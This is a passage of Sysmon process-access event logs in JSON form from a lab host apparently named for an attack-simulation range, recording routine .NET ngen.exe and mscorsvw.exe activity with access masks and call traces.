NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:42.447","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-422E-5F2D-0000-0010436B0900}","TargetProcessId":"4896","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6372,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:42.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422E-5F2D-0000-0010436B0900}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:42.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422E-5F2D-0000-0010436B0900}","TargetProcessId":"4896","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6373,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:42.463\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-422E-5F2D-0000-0010436B0900}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:42.463","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-422E-5F2D-0000-0010436B0900}","TargetProcessId":"4896","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6374,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:42.463\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nTargetProcessId: 4860\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:42.463","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","TargetProcessId":"4860","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6375,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:42.635\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-422E-5F2D-0000-0010C06E0900}\r\nTargetProcessId: 4020\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:42.635","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-422E-5F2D-0000-0010C06E0900}","TargetProcessId":"4020","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6376,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:42.635\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422E-5F2D-0000-0010C06E0900}\r\nTargetProcessId: 4020\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:42.635","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422E-5F2D-0000-0010C06E0900}","TargetProcessId":"4020","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6377,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:42.635\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-422E-5F2D-0000-0010C06E0900}\r\nTargetProcessId: 4020\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:42.635","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-422E-5F2D-0000-0010C06E0900}","TargetProcessId":"4020","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6378,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:42.822\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-422E-5F2D-0000-0010EA710900}\r\nTargetProcessId: 3232\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:42.822","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-422E-5F2D-0000-0010EA710900}","TargetProcessId":"3232","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6379,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:42.822\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422E-5F2D-0000-0010EA710900}\r\nTargetProcessId: 3232\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 